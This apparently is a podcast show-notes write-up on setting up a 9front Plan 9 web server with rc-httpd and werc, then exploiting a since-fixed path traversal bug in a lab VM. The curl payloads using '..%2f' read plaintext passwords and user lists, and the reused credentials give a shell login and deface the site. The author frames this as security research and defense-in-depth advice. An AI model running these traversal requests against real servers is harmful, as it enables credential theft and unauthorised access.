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hpr3686 :: Followup for HPR3675: Clarifications on the path traversal bug

installing a plan 9 cpu+web server, namespaces to the rescue, web app security models and more

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Hosted by binrc on Monday 2022-09-19 is flagged as Explicit and is released under a CC-BY-SA license.
Tags: Plan 9, private namespaces, security, research operating systems.
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Followup for HPR3675: Installing a Plan 9 CPU server, Plan 9 web server, clarifications on the path traversal bug, private namespaces to the rescue, web application security models


Installing Plan 9 with libvirt

[root@localhost]# virt-install -n 9pwn \
--description "pre-patched rc-httpd" \
--osinfo=unknown \
--memory=4096 \
--vcpus=4 \
--disk path=/var/lib/libvirt/images/9pwn.qcows,bus=virtio,size=10 \
--graphics spice \
--cdrom ~/Downloads/9front-8593.acc504c319a4b4188479cfa602e40cb6851c0528.amd64.iso \
--network bridge=virbr0

[root@localhost]# virt-viewer 9pwn

How I find the IP of my guests and add it to my /etc/hosts for faster access.

[root@localhost]# virsh domiflist 9pwn
 Interface   Type     Source   Model   MAC
----------------------------------------------------------
 vnet3       bridge   virbr0   e1000   52:54:00:43:8a:50

[root@localhost]# arp -e | grep 52:54:00:43:8a:50
192.168.122.20           ether   52:54:00:43:8a:50   C                     virbr0

[root@localhost]# echo cirno 192.168.122.20 >> /etc/hosts

Proceed as normal with a 9 installation


Set up CPU server with rc-httpd and werc

I wrote about configuring a CPU server and also mirrored the notes at my 9front webserver containing a mirror of my plan 9 related things (using self-signed certs but it's fine) I've snarfed+pasted it here for the sake of completeness and modified it slightly so that it's more accessible for other people. I've also revised these notes so that they're less-broken. I may or may not update them.

I'm using 9front for this. It has more secure authentication protocols when it comes to remotely connecting.

Configuring a CPU server

Add users to file server

Connect to the file server and add a new user called <ExampleUser> who is in the groups sys, adm, and upas

term% con -C /srv/cwfs.cmd
newuser <ExampleUser>
newuser sys +<ExampleUser>
newuser adm +<ExampleUser>
newuser upas +<ExampleUser>

Reboot and set user=<ExampleUser> when prompted at boot time.

Configure user's environment

This is similar to cp -r /etc/skel /home/<ExampleUser> on a UNIX system.

/sys/lib/newuser

Configure headless booting

Mount the boot partition:

term% 9fs 9fat

edit the boot config, /n/9fat/plan9.ini

bootfile=9pc64
nobootprompt=local!/dev/sdC0/fscache
mouseport=ps2
monitor=vesa
vgasize=1024x768x14
user=<ExampleUser>
tiltscreen=none
service=cpu

Add hostowner info to nvram

Hostowner is similar to root but not quite. In our configuration, hostowner is close to being equivalent to a root user. The user= line in our bootprompt sets the hostowner.

For automatic booting (aka not entering a password at the physical machine every time we power it in), we need to add the hostowner's key to nvram.

term% nvram=/dev/sdF0/nvram auth/wrkey
bad nvram des key
bad authentication id
bad authentication domain
authid: <ExampleUser>
authdom: cirno
secstore key: <press the return key if you do not want to type this at boot time>
password: <make it 8 chars>

Configure auth server

In order to connect to the system over the network, the new user must be added to the auth server.

term% auth/keyfs
term% auth/changeuser <ExampleUser>
Password: <what you put earlier>
Confirm password:
Assign new Inferno/POP secret? [y/n]: n
Expiration date (YYYYMMDD or never) [never]: never
Post id:
User's full name:
Department #:
User's email address:
Sponsor's email address:
user <ExampleUser> installed for Plan 9

Configure permissions

/lib/ndb/auth is similar to a /etc/sudoers. This configuration for the new user allows him to execute commands as other users except for the sys and adm users (but sys and adm are more like groups but who cares).

append to /lib/ndb/auth

hostid=<ExampleUser>
    uid=!sys uid=!adm uid=*

then reboot

Test if it worked with drawterm

The 9front version of drawterm must be used as it supports the better crypto in 9front. Other drawterm versions probably won't work.

$ /opt/drawterm -u <ExampleUser> -h example.com -a example.com -r ~/

Configure rc-httpd

edit /rc/bin/rc-httpd/select-handler

this file is something like /etc/httpd.conf on a UNIX system.

#!/bin/rc
PATH_INFO=$location

        switch($SERVER_NAME) {
        case example.com
               FS_ROOT=/sys/www/$SERVER_NAME
               exec static-or-index

        case *
              error 503
}

To listen on port 80 and run the handler on port 80:

cpu% cp /rc/bin/service/!tcp80 /rc/bin/service/tcp80
cpu% chmod +x /rc/bin/rc-httpd/select-handler

Reboot and test.

SSL

I will never give money to the CA racket. Self-signed is the way to go on systems that don't support acme.sh, the only ACME client I use for obtaining free SSL certs.

Generate and install:

cpu% ramfs -p
cpu% cd /tmp
cpu% auth/rsagen -t 'service=tls role=client owner=*' > key
cpu% chmod 600 key
cpu% cp key /sys/lib/tls/key
cpu% auth/rsa2x509 'C=US CN=example.com' /sys/lib/tls/key | auth/pemencode CERTIFICATE > /sys/lib/tls/cert
cpu% mkdir /cfg/$sysname
cpu% echo 'cat /sys/lib/tls/key >> /mnt/factotum/ctl' >> /cfg/$sysname/cpustart

Now add a listener in /rc/bin/service/tcp443:

#!/bin/rc
exec tlssrv -c /sys/lib/tls/cert -l /sys/log/https /rc/bin/service/tcp80 $*

And make it executable:

cpu% chmod +x /rc/bin/service/tcp443

Install and configure werc

cpu% cd
cpu% mkdir /sys/www && cd www
cpu% hget http://werc.cat-v.org/download/werc-1.5.0.tar.gz  > werc-1.5.0.tgz
cpu% tar xzf werc-1.5.0.tgz
cpu% mv werc-1.5.0 werc

# ONLY DO THIS IF YOU *MUST* RUN THE THINGS THAT ALLOW WERC TO WRITE TO DISK
# EG. DIRDIR, BLAGH, ETC
# DON'T DO THIS, JUST USE DRAWTERM OVER THE NETWORK
# HTTP CLIENTS SHOULD NEVER BE ALLOWED TO WRITE TO DISK
# PLEASE I BEG YOU
cpu% cd .. && for (i in `{du www | awk '{print $2}'}) chmod 777 $i

cpu% cd werc/sites/
cpu% mkdir example.com
cpu% mv default.cat-v.org example.com

now re-edit /rc/bin/rc-httpd/select-handler

#!/bin/rc
WERC=/sys/www/werc
PLAN9=/
PATH_INFO=$location
switch($SERVER_NAME){
case cirno
        FS_ROOT=$WERC/sites/$SERVER_NAME
        exec static-or-cgi $WERC/bin/werc.rc
case *
        error 503
}

Test the website. Werc is fiddly. Werc is archaic. Werc is fun.


Path traversal vulnerabilities in old versions of rc-httpd

Using release COMMUNITY VS INFRASTRUCTURE, an old release with old rc-httpd, I have done the above steps. In current releases this bug no longer exists. Use current releases.

The vulnerability

# get list of werc admin users
[root@localhost]# curl http://cirno/..%2f..%2f/etc/users/admin/members
pwn
# get that werc user's password
[root@localhost]# http://cirno/..%2f..%2f/etc/users/pwn/password
supersecret

Wait, the passwords for werc are stored in plain text? Let's log in

[root@localhost]# firefox http://cirno/_users/login

Now let's see if any of the werc users are also system users:

# let's enumerate users
[root@localhost]# curl http://cirno/..%2f..%2f..%2f..%2f..%2f..%2f/adm/users
-1:adm:adm:glenda,pwn
0:none::
1:tor:tor:
2:glenda:glenda:
3:pwn:pwn:
10000:sys::glenda,pwn
10001:map:map:
10002:doc::
10003:upas:upas:glenda,pwn
10004:font::
10005:bootes:bootes:

Let's hope that no one is re-using credentials. Let's check just to be sure

$ PASS=supersecret /opt/drawterm -u pwn -h cirno -a cirno -G
cpu% cat /env/sysname
cirno
cpu%

This is what happens when you have path traversal vulnerabilities, an authentication vulnerability in your CMS, and share login/passwords

How the static-or-cgi handler works

rc-httpd calls various handler scripts that decide what to do with requests. In the example configuration for werc, rc-httpd is instructed to call the static-or-cgi script.

I will compile these archaic rc scripts into pseudo code for the listener.

The static-or-cgi handler (the handler specified in the httpd config) is simple:

#!/bin/rc
cgiargs=$*

fn error{
    if(~ $1 404)
        exec cgi $cgiargs
    if not
        $rc_httpd_dir/handlers/error $1
}

if(~ $location */)
    exec cgi $cgiargs
if not
    exec serve-static
  1. If the requested file exists, call the cgi handler and pass it arguments.
  2. If the requested file does not exist, call the serve-static handler.

How the serve-static handler works

The problem lies in the serve-static handler:

#!/bin/rc
full_path=`{echo $"FS_ROOT^$"PATH_INFO | urlencode -d}
full_path=$"full_path
if(~ $full_path */)
    error 503
if(test -d $full_path){
    redirect perm $"location^'/' \
        'URL not quite right, and browser did not accept redirect.'
    exit
}
if(! test -e $full_path){
    error 404
    exit
}
if(! test -r $full_path){
    error 503
    exit
}
do_log 200
switch($full_path){
case *.html *.htm
        type=text/html
case *.css
        type=text/css
case *.txt *.md
        type=text/plain
case *.jpg *.jpeg
        type=image/jpeg
case *.gif
        type=image/gif
case *.png
        type=image/png
case *
        type=`{file -m $full_path}
}
if(~ $type text/*)
    type=$type^'; charset=utf-8'
max_age=3600    # 1 hour
echo 'HTTP/1.1 200 OK'^$cr
emit_extra_headers
echo 'Content-type: '^$type^$cr
echo 'Content-length: '^`{ls -l $full_path | awk '{print $6}'}^$cr
echo 'Cache-control: max-age='^$max_age^$cr
echo $cr
exec cat $full_path
  1. encode the full file path into a url
  2. if the url points to a file outside of '*/', the document root, error 503
  3. if the url is broken, exit
  4. if the url points to a file that neither exists nor is readable, error 503
  5. if you haven't exited by now, serve the file

The problem is no sanitization. The script checks for files in the current directory BUT NOT BEFORE ENCODING THE URL STRING.

The urlencode command works by decoding encoded characters.

cpu% echo 'http://cirno/..%2f' | urlencode -d
http://cirno/../

Does ../ exist in */ ? the answer is yes.

.. is a directory contained inside of */

*/../ is the current working directory.

How they fixed it

Adding a sanitizer. By comparing the encoded url against an actual hypothetical file path and exiting if there is a mismatch, all %2f funny business is avoided.


Other (optional) bad config options in werc

rc-httpd aside, a bad werc config can still lead to website defacement if your non rc-httpd webserver has a path traversal vulnerability.

Additionally I have modified the DAC for /sys/www to allow werc, a child process of rc-httpd to write to disk. rc-httpd runs as the none user so it's not typically allowed to write to disk unless explicitly permitted. I do not allow this on my 9 webserver because it's the worst idea in the history of all time ever.

I enabled the dirdir and blagh modules as if I were the type of admin who does a chmod -R 777 /var/www/htdocs because that's what the wordpress installation guide told me to do so I could have a cool and easy way to modify my website from the browser.

Let's pretend that I'm not the admin of this system and scrape the werc config just to see if the hypothetical badmin has these modules enabled.

# get config
[root@localhost]# curl http://cirno/..%2f..%2f/sites/cirno/_werc/config
masterSite=cirno
siteTitle='Werc Test Suite'
conf_enable_wiki
wiki_editor_groups admin

Hmmm, looks like these modules are enabled so we can assume that httpd is allowed to write to disk. Let's modify cirno/index.md to warn the admin. As a funny joke. Totally not a crime under the Computer Fraud and Abuse Act. Totally not an inappropriate way to warn admins about a vulnerability.

[root@localhost]# curl -s cirno | pandoc --from html --to plain
quotes | docs | repo | golang | sam | man | acme | Glenda | 9times |
harmful | 9P | cat-v.org

Related sites: | site updates | site map |

Werc Test Suite

-   › apps/
-   › titles/

SECURITY ADVISORY:

lol this guy still hasn't figured out the ..%2f trick

Powered by werc

Modifying werc to support password hashing

Adding password hashes isn't too difficult. Being constrained by time, I have not done this quite yet. Reading the source code, all it takes is modifying 2 werc scripts: bin/werclib.rc and bin/aux/addwuser.rc

% echo 'supersecret' | sha1sum -2 512

Private namespaces to the rescue

Luckily enough, the webserver runs as the none user with it's own namespace.

Comparing the hostowner's namespace and none user's namespace

I grab the namespace from the system console (ie not from drawterm) and from the listen command, then run a diff (unix style) to show the differences.

cpu% ns | sort > cpu.ns
cpu% ps -a | grep -e 'listen.*80' | grep -v grep
none            355    0:00   0:00      132K Open     listen [/net/tcp/2 tcp!*!80]
cpu% ns 355 | sort > listen.ns
cpu% diff -u listen.ns cpu.ns
--- listen.ns
+++ cpu.ns
@@ -6,17 +6,29 @@
 bind  /amd64/bin /bin
 bind  /mnt /mnt
 bind  /mnt/exportfs /mnt/exportfs
+bind  /mnt/temp/factotum /mnt/factotum
 bind  /n /n
 bind  /net /net
 bind  /root /root
+bind -a '#$' /dev
 bind -a '#I' /net
+bind -a '#P' /dev
+bind -a '#S' /dev
 bind -a '#l' /net
+bind -a '#r' /dev
+bind -a '#t' /dev
+bind -a '#u' /dev
+bind -a '#u' /dev
 bind -a '#¤' /dev
 bind -a '#¶' /dev
+bind -a '#σ/usb' /dev
+bind -a '#σ/usbnet' /net
 bind -a /rc/bin /bin
 bind -a /root /
+bind -b '#k' /dev
 bind -c '#e' /env
 bind -c '#s' /srv
+bind -c /usr/pwn/tmp /tmp
 cd /usr/pwn
 mount -C '#s/boot' /n/other other
 mount -a '#s/boot' /
@@ -26,4 +38,4 @@
 mount -a '#s/slashmnt' /mnt
 mount -a '#s/slashn' /n
 mount -aC '#s/boot' /root
-mount -b '#s/factotum' /mnt
+mount -b '#s/cons' /dev

The major difference is that the hostowner (equivalent to root user) has a lot more things bound to his namespace:

  • '#$' PCI interfaces
  • '#P' APM power management
  • '#S' storage devices
  • '#r' realtime clock and nvram
  • '#t' serial ports
  • '#u' USB
  • '#σ' /shr global mountpoints
  • '#k' keyboard
  • /tmp directories
  • '#s' various special files relating to services

The listen process in question is fairly well isolated from the system. Minimal system damage can be caused by pwning a process owned by none.


Closing

An argument could be maid that the rc-httpd vulnerability was "not a bug" because "namespaces are supposed to segregate the system".

I disagree on this point. Namespaces are good and all but security is a multi-layer thing. Relying on a single security feature to save your system means relying on a single point of failure. Chroot escapes, namespace escapes, container escapes, and VM escapes are all things we need to be thinking about when writing software that touches the internet. Although unlikely, getting pwnd in spite of these security methods is still possible; all user input is dangerous and all user input that becomes remote code execution always results in privilege escalation no matter how secure you think your operating system is. Each additional layer of security makes it harder for attackers to get into the system.

For example, when I write PHP applications, I consider things in this order:

  1. don't pass unnecessary resources into the document root via symlinks, bind mounts, etc.
  2. never ever use system() in a context where user input can ever be passed to the function in order to avoid shell escapes
  3. sanitize all user input depending on context. Ex: if the PHP program is directly referencing files, make a whitelist and compare requests to this whitelist. If the PHP process is writing to a database, use prepared statements.
  4. fire up a kali linux vm and beat the test server half to death
  5. iterate upon my ignorance
  6. doubly verify DAC just to be sure
  7. re-check daemon configs to make sure I'm not doing anything stupid
  8. FINALLY: rely on SELinux or OpenBSD chroots (depending on prod env) to save me if all else failed

And of course the other things like firewalls (with whitelists for ports and blacklists for entire IP address blocks), key based ssh authentication, sshd configurations that don't make it possible to enumerate users, rate limiters, etc.

Each layer of security is like a filter. If you have enough layers of filters it would take an unrealistic amount of force to push water through this filter. Although no system is perfectly safe from three letter agencies, a system with multiple layers of security is typically safe from drive-by attacks.

Final exercise: intentionally write a php script that does path traversal. Run this on a system with SELinux. Try to coax /etc/passwd out of the server. Now try php-fpm instead of mod_php or vice-versa. You'll be surprised when even MAC doesn't protect your system.

Even now, after spending almost a month and a half worth of after work hacker hours almost exclusively on 9, I enjoy it more than when I began and even more than when using it in semi-regular spurts in years past. The purpose of research operating systems is to perform research, be it about the design of the system otherwise. Where would we be without private namespaces? How can I use this idea in the real world? What would the world look like if we had real distributed computing instead of web browsers (which are the new dumb terminal)? Is there a use case for this in the real world? What can we learn from single layer security models? What can we do to improve the system?

Plan 9 is perfect for this type of research. I'm considering writing an httpd in C and a werc-like (minus the parts I don't like) in C and modifying the namespace for the listener so that I can run a webserver on 9 without pulling in /bin in order to reduce the possibility of a shell escape.

I think that in order to improve ourselves, we must be critical of ourselves. We must be critical of the things we enjoy in order to improve them and learn something new in the process. For software especially, there is no such thing as perfection, only least bad. And my final thought:

Criticism: This program/OS/whatever sucks

Response: I know, help me fix it.


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